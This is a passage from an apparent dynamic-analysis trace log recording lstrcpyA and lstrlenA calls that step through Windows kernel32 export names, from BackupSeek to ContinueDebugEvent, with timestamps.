lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0139.591] lstrlenA (lpString="BACKUPSEEK") returned 10 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0139.591] lstrlenA (lpString="BACKUPWRITE") returned 11 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0139.591] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0139.591] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0139.591] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0139.591] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0139.591] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0139.591] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0139.591] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0139.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0139.592] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0139.592] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0139.592] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0139.592] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0139.592] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0139.592] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0139.592] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0139.592] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0139.592] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0139.592] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0139.592] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0139.592] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0139.592] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0139.592] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0139.592] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0139.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0139.593] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0139.593] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0139.593] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0139.593] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0139.593] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0139.593] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0139.593] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0139.593] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0139.593] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0139.593] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0139.593] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0139.593] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0139.593] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0139.593] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0139.593] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0139.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0139.593] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0139.594] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0139.594] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0139.594] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0139.594] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0139.594] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0139.594] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0139.594] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0139.594] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0139.594] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0139.594] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0139.594] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0139.594] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0139.594] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0139.594] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0139.594] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0139.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0139.595] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0139.595] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0139.595] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0139.595] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0139.595] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0139.595] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0139.595] lstrlenA (lpString="BEEP") returned 4 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0139.595] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0139.595] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0139.595] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0139.595] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0139.595] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0139.595] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0139.595] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0139.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0139.595] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0139.596] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0139.596] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0139.596] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0139.596] lstrlenA (lpString="CANCELIO") returned 8 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0139.596] lstrlenA (lpString="CANCELIOEX") returned 10 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0139.596] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0139.596] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0139.596] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0139.596] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0139.596] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0139.596] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0139.596] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0139.596] lstrlenA (lpString="CHECKELEVATION") returned 14 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0139.596] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0139.596] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0139.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0139.597] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0139.597] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0139.597] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0139.597] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0139.597] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0139.597] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0139.597] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0139.597] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0139.597] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0139.597] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0139.597] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0139.597] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0139.597] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0139.597] lstrlenA (lpString="CLOSESTATE") returned 10 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0139.597] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0139.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0139.597] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0139.598] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0139.598] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0139.598] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0139.598] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0139.598] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0139.598] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0139.598] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0139.598] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0139.598] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0139.598] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0139.598] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0139.598] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0139.598] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0139.598] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0139.598] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0139.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0139.599] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0139.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0139.599] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 